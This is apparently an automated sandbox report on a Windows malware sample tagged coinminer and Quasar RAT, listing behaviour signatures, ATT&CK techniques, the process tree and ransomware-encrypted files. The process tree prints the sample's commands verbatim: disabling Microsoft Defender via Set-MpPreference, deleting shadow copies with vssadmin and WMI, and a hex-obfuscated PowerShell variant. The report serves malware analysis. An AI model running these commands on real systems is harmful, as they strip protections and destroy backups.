Overview

overview

10

Static

static

10

2026-06-27...at.exe

windows10-2004-x64

9

2026-06-27...at.exe

windows11-ltsc_2024-x64

9

Analysis

  • max time kernel
    101s
  • max time network
    130s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260617-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260617-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    29/06/2026, 04:31

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-06-27_a0912a302c7d7d3becb53be7e77c6f02_coinminer_glassworm_polyvice_quasar-rat.exe
  • Size 5.1MB
  • Sample260629-e5hmcset5r
  • SHA256 040f20b0554ecbb1936cb9cc87808db66e700c1bfb0ce941f9742a9051e53e6f
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
9/10
defense_evasiondiscoveryexecutionimpactpersistenceransomwarespywarestealer

Malware Config

Signatures

  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Detects executables embedding registry key / value combination indicative of disabling Windows Defen 5 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

    execution
  • Disables Task Manager via registry modification
    defense_evasion
  • Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

    defense_evasion
  • Impair Defenses: Safe Mode Boot 1 TTPs 2 IoCs
    defense_evasion
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Drops desktop.ini file(s) 64 IoCs
  • Enumerates connected drives 3 TTPs 26 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Modifies registry class 9 IoCs
  • Suspicious behavior: EnumeratesProcesses 21 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-06-27_a0912a302c7d7d3becb53be7e77c6f02_coinminer_glassworm_polyvice_quasar-rat.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-06-27_a0912a302c7d7d3becb53be7e77c6f02_coinminer_glassworm_polyvice_quasar-rat.exe"
    1⤵
    • Impair Defenses: Safe Mode Boot
    • Adds Run key to start application
    • Drops desktop.ini file(s)
    • Enumerates connected drives
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:6044
    • C:\Users\Admin\AppData\Local\Temp\2026-06-27_a0912a302c7d7d3becb53be7e77c6f02_coinminer_glassworm_polyvice_quasar-rat.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-06-27_a0912a302c7d7d3becb53be7e77c6f02_coinminer_glassworm_polyvice_quasar-rat.exe" --modules-scan
      2⤵
        PID:1436
      • C:\Windows\SYSTEM32\DllHost.exe
        DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
        2⤵
          PID:4172
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableBehaviorMonitoring $true -DisableIOAVProtection $true -DisableScriptScanning $true"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables one or more Microsoft Defender components
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3872
        • C:\Windows\SYSTEM32\vssadmin.exe
          vssadmin delete shadows /all /quiet
          2⤵
          • Interacts with shadow copies
          PID:5896
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoP -NonI -W Hidden -Exec Bypass -C "Get-WmiObject Win32_Shadowcopy | ForEach-Object {$_.Delete(); }"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4656
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1936
      • C:\Users\Admin\AppData\Local\Temp\2026-06-27_a0912a302c7d7d3becb53be7e77c6f02_coinminer_glassworm_polyvice_quasar-rat.exe
        C:\Users\Admin\AppData\Local\Temp\2026-06-27_a0912a302c7d7d3becb53be7e77c6f02_coinminer_glassworm_polyvice_quasar-rat.exe
        1⤵
          PID:5204
        • C:\Windows\system32\wbem\wmiprvse.exe
          C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
          1⤵
            PID:1608
          • C:\Windows\system32\vssvc.exe
            C:\Windows\system32\vssvc.exe
            1⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4408
          • C:\Windows\system32\wbem\wmiprvse.exe
            C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
            1⤵
              PID:5736
            • C:\Windows\system32\DllHost.exe
              C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
              1⤵
                PID:5856
              • C:\Windows\system32\DllHost.exe
                C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
                1⤵
                  PID:1996
                • C:\Windows\system32\DllHost.exe
                  C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
                  1⤵
                    PID:3004

                  Network

                        MITRE ATT&CK Enterprise v16

                        Reconnaissance

                        Resource Development

                        Initial Access

                        Execution

                        Command and Scripting Interpreter

                        1
                        T1059

                        PowerShell

                        1
                        T1059.001

                        Windows Management Instrumentation

                        1
                        T1047

                        Persistence

                        Boot or Logon Autostart Execution

                        1
                        T1547

                        Registry Run Keys / Startup Folder

                        1
                        T1547.001

                        Privilege Escalation

                        Boot or Logon Autostart Execution

                        1
                        T1547

                        Registry Run Keys / Startup Folder

                        1
                        T1547.001

                        Defense Evasion

                        Direct Volume Access

                        1
                        T1006

                        Impair Defenses

                        2
                        T1562

                        Disable or Modify Tools

                        1
                        T1562.001

                        Safe Mode Boot

                        1
                        T1562.009

                        Indicator Removal

                        2
                        T1070

                        File Deletion

                        2
                        T1070.004

                        Modify Registry

                        1
                        T1112

                        Credential Access

                        Credentials from Password Stores

                        1
                        T1555

                        Credentials from Web Browsers

                        1
                        T1555.003

                        Unsecured Credentials

                        1
                        T1552

                        Credentials In Files

                        1
                        T1552.001

                        Discovery

                        Browser Information Discovery

                        1
                        T1217

                        Peripheral Device Discovery

                        1
                        T1120

                        Query Registry

                        1
                        T1012

                        System Information Discovery

                        1
                        T1082

                        Lateral Movement

                        Collection

                        Data from Local System

                        1
                        T1005

                        Command and Control

                        Exfiltration

                        Impact

                        Inhibit System Recovery

                        2
                        T1490

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        StartupProfileData-NonInteractive
                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                        • Size 1KB
                        • SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        StartupProfileData-NonInteractive
                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                        • Size 1KB
                        • SHA256 0aaf14f98dab55d2538115ea9fe970c33c9975dfc8f0581d22fd562bc72d3f53
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        AppsIndex.db-shm
                        • Path C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\Search\AppsIndex.db-shm
                        • Size 34KB
                        • SHA256 294078a00201c196d502e80bc2fe397612e76192b50d12cd69dc4a46812ab215
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        settings.db-shm
                        • Path C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\Search\settings.db-shm
                        • Size 34KB
                        • SHA256 4ea612609d0238e7211a9e12ff574151b6bfd8b5ca83b8484ee0a8ef6bc798ee
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        __PSScriptPolicyTest_xwfhkpwn.zjn.ps1
                        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xwfhkpwn.zjn.ps1
                        • Size 60B
                        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        DenyExport.vssm.gicmlZQWQ
                        • Path C:\Users\Admin\Documents\DenyExport.vssm.gicmlZQWQ
                        • Size 1.8MB
                        • SHA256 f2928342e127a5e89d808d4dda9e5cf969b69f304d8dc9e2b232a7eb65a72860
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        RedoResolve.docx.gicmlZQWQ
                        • Path C:\Users\Admin\Documents\RedoResolve.docx.gicmlZQWQ
                        • Size 1.3MB
                        • SHA256 7ba2b1c1352e1a5de462e97c42e5b0b6883fc90c26ce53780414020fb9e44d70
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        NTUSER.DAT.LOG1.gicmlZQWQ
                        • Path C:\Users\Default\NTUSER.DAT.LOG1.gicmlZQWQ
                        • Size 38KB
                        • SHA256 e880027df0cb3a523f4d586f038ab9e4d9f07033595c5651cc5ee948904063b1
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        NTUSER.DAT{2ad838bc-efea-11ee-a54d-000d3a94eaa1}.TM.blf.gicmlZQWQ
                        • Path C:\Users\Default\NTUSER.DAT{2ad838bc-efea-11ee-a54d-000d3a94eaa1}.TM.blf.gicmlZQWQ
                        • Size 65KB
                        • SHA256 541b135ef16ca56626b681ae31e062627954653da756e42fbd16915c429e9e84
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        NTUSER.DAT{2ad838bc-efea-11ee-a54d-000d3a94eaa1}.TMContainer00000000000000000001.regtrans-ms.gicmlZQWQ
                        • Path C:\Users\Default\NTUSER.DAT{2ad838bc-efea-11ee-a54d-000d3a94eaa1}.TMContainer00000000000000000001.regtrans-ms.gicmlZQWQ
                        • Size 514KB
                        • SHA256 8c600fa00e56f845c227c1a371f3a74211dce12141147754b5f0b27c85310471
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        NTUSER.DAT{2ad838bc-efea-11ee-a54d-000d3a94eaa1}.TMContainer00000000000000000002.regtrans-ms.gicmlZQWQ
                        • Path C:\Users\Default\NTUSER.DAT{2ad838bc-efea-11ee-a54d-000d3a94eaa1}.TMContainer00000000000000000002.regtrans-ms.gicmlZQWQ
                        • Size 514KB
                        • SHA256 1a5bf038058e7cf4cc9e16331d96d6e74752ba435b9d55df66087703e21f60b6
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        NTUSER.DAT{d8e19955-6a9d-11f1-89c0-ea641087f7fe}.TM.blf.gicmlZQWQ
                        • Path C:\Users\Default\NTUSER.DAT{d8e19955-6a9d-11f1-89c0-ea641087f7fe}.TM.blf.gicmlZQWQ
                        • Size 66KB
                        • SHA256 d2b4aeb46484abd6db7f7901a64bdc7a58531b8726c36f56296ba350400a505b
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        NTUSER.DAT{d8e19955-6a9d-11f1-89c0-ea641087f7fe}.TMContainer00000000000000000001.regtrans-ms.gicmlZQWQ
                        • Path C:\Users\Default\NTUSER.DAT{d8e19955-6a9d-11f1-89c0-ea641087f7fe}.TMContainer00000000000000000001.regtrans-ms.gicmlZQWQ
                        • Size 514KB
                        • SHA256 80366460fc82f212ae95fc2b7997f599e1c19d97f1842e4cd526281cec204472
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        NTUSER.DAT{d8e19955-6a9d-11f1-89c0-ea641087f7fe}.TMContainer00000000000000000002.regtrans-ms.gicmlZQWQ
                        • Path C:\Users\Default\NTUSER.DAT{d8e19955-6a9d-11f1-89c0-ea641087f7fe}.TMContainer00000000000000000002.regtrans-ms.gicmlZQWQ
                        • Size 514KB
                        • SHA256 ea5fd587b3a39aab5e8af55dd7992f0d45f73f4e60c051cbca22d49269d6d673
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        memory/932-40-0x0000021428E50000-0x0000021428E51000-memory.dmp
                        Download

                        memory/1436-39-0x00007FF76BEE0000-0x00007FF76C40C000-memory.dmp
                        Download

                        memory/3472-0-0x0000000003710000-0x0000000003711000-memory.dmp
                        Download

                        memory/3472-12-0x0000000003710000-0x0000000003711000-memory.dmp
                        Download

                        memory/3472-3-0x0000000003710000-0x0000000003711000-memory.dmp
                        Download

                        memory/3872-15-0x00007FFF196B0000-0x00007FFF1A054000-memory.dmp
                        Download

                        memory/3872-11-0x000002D3FCDB0000-0x000002D3FCDD2000-memory.dmp
                        Download

                        memory/3872-27-0x000002D3FCE70000-0x000002D3FCE7A000-memory.dmp
                        Download

                        memory/3872-26-0x000002D3FD090000-0x000002D3FD142000-memory.dmp
                        Download

                        memory/3872-25-0x000002D3FCE50000-0x000002D3FCE6E000-memory.dmp
                        Download

                        memory/3872-5-0x00007FFF1983F000-0x00007FFF19840000-memory.dmp
                        Download

                        memory/3872-22-0x00007FFF196B0000-0x00007FFF1A054000-memory.dmp
                        Download

                        memory/3872-21-0x00007FFF196B0000-0x00007FFF1A054000-memory.dmp
                        Download

                        memory/3872-6-0x00007FFF196B0000-0x00007FFF1A054000-memory.dmp
                        Download

                        memory/3872-20-0x00007FFF196B0000-0x00007FFF1A054000-memory.dmp
                        Download

                        memory/3872-18-0x00007FFF196B0000-0x00007FFF1A054000-memory.dmp
                        Download

                        memory/3872-7-0x00007FFF196B0000-0x00007FFF1A054000-memory.dmp
                        Download

                        memory/3872-17-0x00007FFF196B0000-0x00007FFF1A054000-memory.dmp
                        Download

                        memory/3872-14-0x00007FFF196B0000-0x00007FFF1A054000-memory.dmp
                        Download

                        memory/3872-13-0x00007FFF196B0000-0x00007FFF1A054000-memory.dmp
                        Download

                        memory/3872-10-0x00007FFF196B0000-0x00007FFF1A054000-memory.dmp
                        Download

                        memory/3872-29-0x00007FFF196B0000-0x00007FFF1A054000-memory.dmp
                        Download

                        memory/5204-16-0x00007FF76BEE0000-0x00007FF76C40C000-memory.dmp
                        Download

                        memory/6044-1743-0x00007FF76BEE0000-0x00007FF76C40C000-memory.dmp
                        Download

                        memory/6044-44-0x00007FF76BEE0000-0x00007FF76C40C000-memory.dmp
                        Download

                        memory/6044-38-0x00007FF76BEE0000-0x00007FF76C40C000-memory.dmp
                        Download